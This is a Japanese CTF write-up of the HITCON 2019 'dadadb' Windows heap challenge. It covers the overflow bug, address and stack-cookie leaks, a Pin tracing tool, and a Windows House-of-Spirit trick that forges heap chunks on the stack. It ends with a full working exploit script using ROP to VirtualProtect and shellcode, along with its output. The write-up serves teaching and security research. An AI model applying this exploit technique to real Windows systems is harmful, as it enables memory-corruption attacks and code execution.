ctf
pwn
windows
intel pin
この記事は,CTF Advent Calendar 2019 の2日目の記事です.
1日目はhamaくんの「CTFでのLinuxのユーザランド以外の問題についてまとめる」でした.
今回はHITCON CTF 2019 Qualsで出題された,dadadbという問題について解説します.
解いたチームは6チームだけ(A*O*E
,PPP
,r3kapig
,Shellphish
,binja
,Never Stop Exploiting
)なので,かなり難しい部類だと思います.
またあまり情報を得ることはできなかったのですが,解く過程で作成した,pinベースの調査ツールについても供養がてらご紹介しようと思います.
It’s ddaa’s database of doctoral dissertation.
Try to get some magic doctoral dissertation in C:\dadadb\flag.txt
nc 13.230.51.176 4869
Note: The service is running on Windows Server 2019 Microsoft Windows [Version 10.0.17763.805]
ファイルはこちらからDLできます.
WindowsのPwn問ですが,最初にやることは大して難しく有りません.
Version 10.0.17763.805
だったざっくり見ていきましょう.
まずはmain
を見つけます.
login
,add_note
,show_note
,delete_note
を実装したノート系サービスです.
show_note
,delete_note
はインライン展開されているようですね.ここにバグは有りません.
ちなみにノートはこんな感じの構造体です.
またNOTE_ARRAY
は256個のテーブルで,note->key
の0バイト目によって振り分けられ,個別のリンクリストを持ちます.
login
はこんな感じ.同梱のuser.txt
を見て比較しているだけなので,ここも大したことは有りません.
add_note
を見てみましょう.ここにバグがあります.
さてこの関数はadd_note
と命名していますが,実際にはedit_note
的な機能も兼ねています.
ノートはkey
とcontent
を持っていて,
key
を指定: 新たなノートのcontent
にデータを登録(add_note
相当)key
を指定: 既存のノートのcontent
のデータを更新(edit_note
相当)content
を更新する際,毎回HeapFree(content)
が走ります.さて,バグはかなり自明です.
内容を更新する際に新たなcontent
のsize
が尋ねられますが,そのsize
は使わず過去に登録したcontent_size
を使い回してFileRead
します.
つまり一度非常に大きなcontent
を登録しておき,更新する際に小さいsize
を指定しながら大量のデータを送信すると,ヒープBOFが発生します.
またcontent
は確保後にゼロクリアされないので,show_note
を用いればヒープのデータリークも可能ですね.
あとはここからどの様にシェルを奪うか,という方針を考える必要があります.
リークは簡単にできるので,先に抜いておきましょう.
こんな感じのコードで,まずはヒープのベースアドレスが抜けます.
s, f = sock(HOST, PORT)
login()
tag = pQ(0)
print "[+] setup"
add("Aa", 0x400, "A"*0x2f) # create
add("Aa", 0x10, "A"*0xf) # re-create
add(tag, 0x20, "z"*0xf) # victim
print "[+] first leak"
leak_data = show("Aa")
leak = uQ(leak_data[0x20:0x28])
dbg("leak")
heap = leak - 0x960
dbg("heap")
続いてこんな感じのコードで,各種メモリのアドレスが抜けます.単にcontent
のアドレスをヒープBOFで差し替えてshow_note
で抜いているだけです.
print "[+] leak dll, pie, peb, and stack"
def leak(addr, size=0x20, leak_data=leak_data):
forge = leak_data[:0x20] + pQ(addr) + pQ(size) + leak_data[0x30:]
add("Aa", 0x10, forge)
r = show(tag)
return uQ(r[:8]), r
ntdll = leak(heap + 0x2c0)[0] - 0x163d10
ntdll &= ~0xfff
dbg("ntdll")
assert leak(ntdll)[1].startswith("MZ") # debug
dadadb = leak(ntdll + 0x15f000 + 0x62c8)[0] - 0xf8
dbg("dadadb")
assert leak(dadadb)[1].startswith("MZ") # debug
cookie = leak(dadadb + 0x5008)[0]
dbg("cookie")
kernel32 = leak(ntdll + 0x15f000 + 0x6fd8)[0] - 0x3d8d0
kernel32 &= ~0xfff
dbg("kernel32")
assert leak(kernel32)[1].startswith("MZ") # debug
encoding = leak(heap + 0x88)[0]
dbg("encoding")
peb = leak(ntdll + 0x165308)[0] - 0x80
dbg("peb")
ucrtbase = leak(ntdll + 0x178548)[0]
dbg("ucrtbase")
assert leak(ucrtbase)[1].startswith("MZ") # debug
stackbase = leak(peb + 0x1010)[0]
dbg("stackbase")
r = leak(stackbase + STACK_START_OFS, 0x1000)[1]
while not "e\0x\0e\0" in r :
r += menu()
menu()
stack = stackbase + STACK_START_OFS + len(r) + 0x102
dbg("stack")
print "[+] fix addr"
leak(heap + 0x960) # for fix to delete
leak_data = show("Aa")
抜いたのはntdll.dll
のベース, dadadb.exe
のベース,cookie(stack canary)
,kernel32.dll
のベース,_HEAP->encoding
,PEB
のベース,ucrtbase.dll
のベース,スタックベース,スタックの実際に利用している付近のアドレスです(この時点では,使うかわからないけど先を見据えて色々抜いただけです).
Windowsでは,ヒープのベースアドレスには_HEAP
と呼ばれるmain_arena
のような管理用の構造体が存在し,こいつはntdll.dll
内のアドレスを保持しています.ntdll.dll
のベースアドレスが判明すれば,後は芋づる式に分かります.
_HEAP
を特定)
_HEAP
は,ntdll.dll
内のアドレスを保持
ntdll.dll
は,実行したバイナリ(=dadadb.exe
)内のアドレスを保持
dadadb.exe
は,.data
に__security_cookie
を保持(起動後に値が書き換わる)ntdll.dll
は,kernel32.dll
内のアドレスを保持ntdll.dll
は,PEB
内のアドレスを保持
PEB
は,スタックの開始~終了アドレスを保持
ntdll.dll
は,ucrtbase.dll
内のアドレスを保持_HEAP
は,ヒープの各チャンクのヘッダをXOR暗号化するencoding
を保持STACK_START_OFS
はとりあえずローカルでは0x2000
にしとくと良さ気な確率でスタックのアドレスが抜けました(本番では0x4000
だと上手く行った).雑に書いたので,スタックの実際使われている部分を特定するためのオフセットを決め打ちして若干確率的になっていますが,綺麗に書くならスタックの先頭から少しずつチェックしていけば100%の信頼度で抜くことも可能です.
尚,最後はヒープの破損状況を元の状態に戻しているだけです.
さて,任意書き込みはどうすればよいでしょうか.
私はこの時点で,以下の2つの方針が思いついていました.
next
を偽造し,任意のメモリ領域をノートのリンクリストにつなげる
content_size
相当の位置に任意の8byteを書き込む
content
を偽造して,強制freeから何か別のテクニックに持ち込む
この内,まずは1つ目ができないかを調査することにしました.もっとも簡単なのは,RWな関数ポインタがどこかにあった場合,それを差し替えることです.その関数ポインタが呼ばれれば後はROPで何とかなるでしょう.ASLRは突破できていますから,メモリのどこに存在しても対応は可能なはずです.
では,どこに関数ポインタがあるのでしょうか.またその関数ポインタは実際に呼ばれるものでしょうか.
方針1が可能かどうかを調査すべく,関数ポインタを探索するツールをintel pinをベースに作成しました.
実は元々linuxベースのツールを作ってあったので,まずはそれを紹介します.
やってることは単純で,pin配下でcall [reg/mem]
やjmp [reg/mem]
をトレースし,メモリマップ情報と突き合わせてアドレスを表示するだけです.
https://gist.github.com/bata24/221f45b05740e38e81d03afc85111da5
実際に使うとこんな感じ.Linux版は色をつけて見やすくしてあります.
Linux版の上記ツールを改造して,Windowsにも対応させることにしました.
ただしLinuxでは/proc/self/maps
を使えばすぐにメモリマップが確認可能ですが,Windowsではメモリマップを簡単に取得することはできません.
いろいろなデバッガのコードを参考にしながら,なんとか同様の機能を実装しました.
https://gist.github.com/bata24/cb63e647825fe7998aa23ac52f33b9c5
このツールでdadadbにアタッチします.
AppJailLauncher.exe
の待ち受けです.
MyPinTool.dll
がインジェクションされたときに,LOG=1(ログ保存モード)
,FIRST=1(同じアドレスは2回目以降表示しない)
,として動作するようにしています./nojail
付きにしています(log.log
をオープンできるようにする).%TEMP%\log.log
が作られます.logの中に,実際に呼ばれ得るcall [reg/mem]
やjmp [reg/mem]
が記録されています.
この後色々なパターンを試したのですが,結果として面白い関数ポインタは見つからず,方針1は断念したのでした.
尚,この問題を解いていて改めて感じたことは,Windowsは思ったより堅く,簡単に奪えるような関数ポインタは存在しないということです.
実はこの後,方針2を考える前にもう一つ調査していたことがあります.それはadd_note
の以下のコードを考察していて思いついたものです.
まず事前にnote->next
を偽造するなどで,利用されるnote
がスタックのどこかを指すよう仕込んでおいたと仮定しましょう.58行目でスタック上のnote
が選択された状況を考えてみてください.
note(=stack上のどこか)->content
がNULL
なら,60行目のHeapFree()
を通過して77行目の処理へ到達するはずです(WindowsではHeapFree(NULL)
は未定義動作ですが,Linuxのfree(NULL)
と同様,コード上は何もせずリターンするようです).
77行目ではヒープからcontent
が確保されますが,その後printf()
が一度呼ばれてからReadFile()
しています.この付近のコードは,アセンブリで読むと以下のようになっています.
HeapAlloc()
で確保したアドレス(=rax
)は,一度note->content
に保存しているのが確認できます(=mov [rdi], rax
).そしてprintf()
を呼び出してから再度取り出し,そこにcontent
としてデータを読み込むのです.
この動きを元に,以下のような流れで攻略できるのではないかと考えました.
HeapAlloc()
でnote->content
にヒープのアドレスが書き込まれる
note
がスタックのどこかを指すと仮定しているので,実際はスタック上にヒープのアドレスが書き込まれるprintf()
の内部で,スタックにスタックのアドレスを積む処理が存在する(?)
printf()
によってスタック上のnote->content
が書き換わる
note->content
がスタックのアドレスを指すこの方針1.5はとても魅力的に見えました.少なくともどうすればよいか見当がついていない方針2よりは,探索する価値があると思ったのです.
そこで,小一時間かけてデバッグしたのですが,この方針は結局NGでした.確かに,printf()
の処理においてスタックにスタックのアドレスを積む処理はあったのですが,そのようなアドレスをnote
として指定しようとすると,前段のHeapFree()
を突破できなかったのです(note->content
が非NULL).
残念ながら方針1.5も諦めました.
さて当初は攻略の見当がつかなかった方針2ですが,方針1.5を調査している最中に1つ閃きました.よくよく考えれば,note->content
を頑張って差し替える必要はないのです.HeapAlloc()
からスタックのアドレスが返ってくれば,やりたいこと(スタックBOF)は達成できるのです.
そして,HeapAlloc()
からスタックのアドレスを返すテクニックは,Linuxでは知られています.そう,House of spirit
ですね.
ということで,WindowsでのHouse of spirit
を試したところ,なんと上手く行ってしまいました.
Windowsのヒープのチャンクの仕組みは,以前スライドで公開したので,お持ちの方は見てみると良いでしょう(現在は公開停止しています).ちなみに該当する部分だけ引っ張ってくると,こんな感じです.
尚当時のスライドは32bit環境なのでチャンクのヘッダは8バイトですが,64bit環境ではこれが0x10バイトでalignされます.またSize
やPreviousSize
は,32bit環境では8バイト単位の値を持ちますが,これも64bit環境では0x10バイト単位の値を保持するよう変更されています.
これを元に,ヒープのチャンクを偽造しておきます.ここでは3つのチャンクを作っていて,0x10, 0x20,0x10のサイズのチャンクを3つ続けて作っています.2つ目のチャンク(0x20サイズ)が本命のチャンクで,前後に偽造したチャンクを付加している状況ですね.
print "[+] create fake heap on to stack "
def create_heap_header(size, prev_size):
busy = 1
unused = 0x10 #
size = size/0x10
prev_size = prev_size/0x10
raw = size | (busy<<16) | (((size&0xff)^((size>>8)&0xff)^busy)<<24) | (prev_size<<32) | (unused<<56)
return encoding ^ raw
fake_chunk = tag + pQ(create_heap_header(0x10, 0x10)) # 1st
fake_chunk += pQ(0) + pQ(create_heap_header(0x20, 0x10)) # 2nd
fake_chunk += pQ(0) + pQ(0)
fake_chunk += pQ(0) + pQ(create_heap_header(0x10, 0x20)) # 3rd
fake_chunk
は64バイト以下にしなければなりません.これを書き込みたいのはスタックで,スタックへ書き込むにはadd_note
のkey
として書き込む必要があるからです.add_note
のkey
は64バイトまでしか受け付けないので,その制約を回避するためギッチギチに詰め込んでいます.
面白いのは,Windows 64bitのチャンクサイズは最低0x20バイト(チャンクヘッダ0x10バイト+ユーザ利用領域0x10バイト)であるにもかかわらず,前後においた1つ目のチャンクと3つ目のチャンクは0x10バイト(=ユーザ利用領域を持たない変なサイズ)であっても問題なく通過することです.おそらくkernel32.dll
のHeapFree()
時における前後チャンクの併合処理では,prev_size
やsize
で得られる位置をencoding
で復号し,チャンクヘッダのbusy
が1であれば併合しない,というだけの処理なのでしょう.サイズが適切かどうかまでは見ていないようです.
さてこの偽造チャンク3つをadd_note
でkey
として送ると,key
は一旦スタック上に保存されるため,スタック上に偽造チャンクが3つできることになります.そして2つ目のチャンクのアドレスを指定してHeapFree()
が行われるとエラーなく通過し,次回のHeapAlloc()
にて2つ目のチャンク(=スタックのアドレス)が返ります.
あとは単なるスタックBOFですので,ROPでVirtualProtect()
を呼び,シェルコードを呼ぶだけですね.dadadb.exe
はAppJailLauncher.exe
配下で動くはずなので,seccomp
配下で動いているようなイメージですね.とはいえ流石にフラグは読むことができるはずなので,余計なことはせずopen
/read
/write
型のシェルコードにするのが適切でしょう.
最終的なexploitは以下のようになりました.
途中で方針1や方針1.5に寄り道したせいで多少無駄な事もやっていますが(next
を差し替えた後にリンクリスト上の前のノートをdelete
するなど),気にしてはいけません.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, os, telnetlib, hexdump
#################################################################################
def sock(host, port):
s = socket.create_connection((host, port))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim): data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a&0xffffffff)
def u(a): return struct.unpack("<I",a)[0]
def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff)
def uQ(a): return struct.unpack("<Q",a)[0]
def dbg(ss):
cs, ce = '\x1b[1;37m', '\x1b[00m' # White
print(cs + "[+] %s: 0x%x"%(ss, eval(ss)) + ce)
def make_asm(asm):
open("sc.asm", "wb").write(asm)
r = os.system("nasm -f bin sc.asm -o sc.bin -l sc.lst")
if r != 0: exit()
return open("sc.bin","rb").read()
def xxd(data):
hexdump.hexdump(data)
#################################################################################
def menu():
r = read_until(f, ">> ")
#print [r]
return r
def login():
f.write("1\n")
read_until(f, "User:")
f.write("orange\n")
read_until(f, "Password:")
f.write("godlike\n")
return menu()
def add(key, size, content, skip=False):
assert size < 0x1000
f.write("1\n")
read_until(f, "Key:")
f.write(("%s\n" % key)[:0x40])
read_until(f, "Size:")
f.write("%d\n" % size)
read_until(f, "Data:")
f.write("%s\n" % content)
if skip:
return
return menu()
def show(key, skip=False):
f.write("2\n")
read_until(f, "Key:")
f.write("%s\n" % key)
if not skip:
read_until(f, "Data:")
return menu()
def delete(key):
f.write("3\n")
read_until(f, "Key:")
f.write("%s\n" % key)
return menu()
#################################################################################
if sys.argv[1] == 'r':
HOST, PORT = "13.230.51.176", 4869
STACK_START_OFS = 0x2000 # some brute force
else:
HOST, PORT = "192.168.164.130", 4869
STACK_START_OFS = 0x4000
ofs_virtual_protect = 0x1B680
ofs_pop_rcx = 0x9217b #: pop rcx ; ret ; (4 found)
ofs_pop_rdx = 0x8fb37 #: pop rdx ; pop r11 ; ret ; (1 found)
ofs_pop_r8 = 0x2010b #: pop r8 ; ret ; (1 found)
ofs_pop_r9 = 0x8fb34 #: pop r9 ; pop r10 ; pop r11 ; ret ; (1 found)
ofs_pop_rax = 0x2010c #: pop rax ; ret ; (38 found)
ofs_jmp_rax = 0x04c8b #: jmp rax ; (17 found)
#################################################################################
s, f = sock(HOST, PORT)
login()
tag = pQ(0)
print "[+] setup"
add("Aa", 0x400, "A"*0x2f) # create
add("Aa", 0x10, "A"*0xf) # re-create
add(tag, 0x20, "z"*0xf) # victim
print "[+] first leak"
leak_data = show("Aa")
leak = uQ(leak_data[0x20:0x28])
dbg("leak")
heap = leak - 0x960
dbg("heap")
print "[+] leak dll, pie, peb, and stack"
def leak(addr, size=0x20, leak_data=leak_data):
forge = leak_data[:0x20] + pQ(addr) + pQ(size) + leak_data[0x30:]
add("Aa", 0x10, forge)
r = show(tag)
return uQ(r[:8]), r
ntdll = leak(heap + 0x2c0)[0] - 0x163d10
ntdll &= ~0xfff
dbg("ntdll")
assert leak(ntdll)[1].startswith("MZ") # debug
dadadb = leak(ntdll + 0x15f000 + 0x62c8)[0] - 0xf8
dbg("dadadb")
assert leak(dadadb)[1].startswith("MZ") # debug
cookie = leak(dadadb + 0x5008)[0]
dbg("cookie")
kernel32 = leak(ntdll + 0x15f000 + 0x6fd8)[0] - 0x3d8d0
kernel32 &= ~0xfff
dbg("kernel32")
assert leak(kernel32)[1].startswith("MZ") # debug
encoding = leak(heap + 0x88)[0]
dbg("encoding")
peb = leak(ntdll + 0x165308)[0] - 0x80
dbg("peb")
ucrtbase = leak(ntdll + 0x178548)[0]
dbg("ucrtbase")
assert leak(ucrtbase)[1].startswith("MZ") # debug
stackbase = leak(peb + 0x1010)[0]
dbg("stackbase")
r = leak(stackbase + STACK_START_OFS, 0x1000)[1]
while not "e\0x\0e\0" in r :
r += menu()
menu()
stack = stackbase + STACK_START_OFS + len(r) + 0x102
dbg("stack")
print "[+] fix addr"
leak(heap + 0x960) # for fix to delete
leak_data = show("Aa")
print "[+] forge next and delete prev"
def forge_next(addr, leak_data=leak_data):
forge = leak_data[:0x20+0x58] + pQ(addr) + leak_data[0x20+0x58+8:]
add("Aa", 0x10, forge)
forge_next(stack)
delete(tag)
print "[+] create shellcode to heap"
shellcode = make_asm("""
BITS 64
global _start
_start:
open:
mov r15, %#x
lea rcx, [r15 + 0x5668] ; file_fd
lea rdx, [rel FILENAME] ; filename
lea r8, [rel PERMISSION] ; perm
lea rax, [r15 + 0x31A8]
call [rax]
read:
lea rcx, [r15 + 0x5f00] ; buffer
mov rdx, 0x100 ; size
mov r8, 0x1 ; count
lea rax, [r15 + 0x5668]
mov r9, [rax] ; file_fd
lea rax, [r15 + 0x3208]
call [rax]
puts:
lea rcx, [r15 + 0x5f00] ; buffer
lea rax, [r15 + 0x31d0]
call [rax]
LOOP:
jmp LOOP
FILENAME: db "flag.txt", 0
PERMISSION: db "r", 0
""" % (dadadb))
#xxd(shellcode)
add("hogehoge", 0x100, shellcode)
shellcode_addr = heap + 0x960
print "[+] forge note on to stack"
fake_note = pQ(stack - 0x270) + pQ(0x300)
#xxd(fake_note)
show(fake_note, skip=True)
print "[+] create fake heap on to stack "
def create_heap_header(size, prev_size):
busy=1
unused=0x10
size = size/0x10
prev_size = prev_size/0x10
raw = size | (busy<<16) | (((size&0xff)^((size>>8)&0xff)^busy)<<24) | (prev_size<<32) | (unused<<56)
return encoding ^ raw
fake_chunk = tag + pQ(create_heap_header(0x10, 0x10))
fake_chunk += pQ(0) + pQ(create_heap_header(0x20, 0x10))
fake_chunk += pQ(0) + pQ(0)
fake_chunk += pQ(0) + pQ(create_heap_header(0x10, 0x20))
#xxd(fake_chunk)
rsp = stack - 0x2e0
virtual_protect = kernel32 + ofs_virtual_protect
pop_rcx = ntdll + ofs_pop_rcx
pop_rdx = ntdll + ofs_pop_rdx
pop_r8 = ntdll + ofs_pop_r8
pop_r9 = ntdll + ofs_pop_r9
pop_rax = ntdll + ofs_pop_rax
jmp_rax = ntdll + ofs_jmp_rax
rop = pQ(pop_rcx)
rop += pQ(heap) # lpAddress
rop += pQ(pop_rdx)
rop += pQ(0x2000) # dwSize
rop += pQ(0xdeadbeef)
rop += pQ(pop_r8)
rop += pQ(0x40) # flNewProtect (PAGE_EXECUTE_READWRITE)
rop += pQ(pop_r9)
rop += pQ(heap) # lpflOldProtect
rop += pQ(0xdeadbeef)
rop += pQ(0xdeadbeef)
rop += pQ(pop_rax)
rop += pQ(virtual_protect)
rop += pQ(jmp_rax)
rop += pQ(shellcode_addr)
#xxd(rop)
add(fake_chunk, 0x10, "Z"*0xe0 + pQ(rsp^cookie) + pQ(0)*4 + rop, skip=True)
print "[+] shell"
shell(s)
"""
[+] setup
[+] first leak
[+] leak: 0x2114b5e0960
[+] heap: 0x2114b5e0000
[+] leak dll, pie, peb, and stack
[+] ntdll: 0x7ff94e160000
[+] dadadb: 0x7ff7de140000
[+] cookie: 0x5e6f3b24ab69
[+] kernel32: 0x7ff94e010000
[+] encoding: 0x661ce85fa323
[+] peb: 0x9440c1e000
[+] ucrtbase: 0x7ff94b280000
[+] stackbase: 0x9440b9d000
[+] stack: 0x9440b9f980
[+] fix addr
[+] forge next and delete prev
[+] create shellcode to heap
[+] forge note on to stack
[+] create fake heap on to stack
[+] shell
Done!
hitcon{Oh_U_got_the_Exc4libur_in_ddaa-s_HEAP}
Try to learn breath of shadow to kill demon !
"""
Windowsのexploitは苦手なのですが,少しだけ慣れることができた気がします.
あと,後日談としてMicrosoftに,最新のWindowsのkernel32.dll
でもHouse of spiritが可能な旨を報告しておきました.まぁバグじゃないのですぐは直さないと返信は頂きましたが,将来直すかもしれないね,とのことでした.また記事にしても良いと許可も貰ったのでこの記事を書きました.